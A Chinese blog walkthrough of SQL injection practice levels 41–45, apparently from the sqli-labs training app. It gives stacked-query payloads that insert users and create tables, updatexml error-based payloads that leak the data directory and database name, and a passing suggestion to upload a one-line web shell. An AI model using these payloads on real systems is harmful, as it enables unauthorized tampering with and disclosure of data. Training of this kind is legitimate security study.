Less41-45
网络安全  /  2024-12-19  /  7746浏览

Less41

代码分析此关和39关代码很相似,但是没有错误显示,因此不能报错注入
在这里插入图片描述

payload

1;insert into users(id,username,password)values(20,'sqli-41','41')--+

在这里插入图片描述
参考第七关的导入导出,此处也可以尝试上传一句话

Less42

代码分析
先查看pass_change.php文件
在这里插入图片描述
查看login.php
在这里插入图片描述
payload

admin';create table sqli42 like users#创建一个表

在这里插入图片描述
尝试报错注入payload

1'or updatexml(1,concat('~',@@datadir),0)#

在这里插入图片描述

Less43

代码分析
43关代码和42只在sql语句的闭合方式不同
在这里插入图片描述
报错注入示例

1')or updatexml(1,concat('~',database()),0)#

在这里插入图片描述

Less44

代码分析
在这里插入图片描述
插入数据payload

1';insert into users(id,username,password)values(44,'sqli-44','44')#

在这里插入图片描述

Less45

代码分析
在这里插入图片描述payload

admin');create table sqli45 like users#

在这里插入图片描述


评论0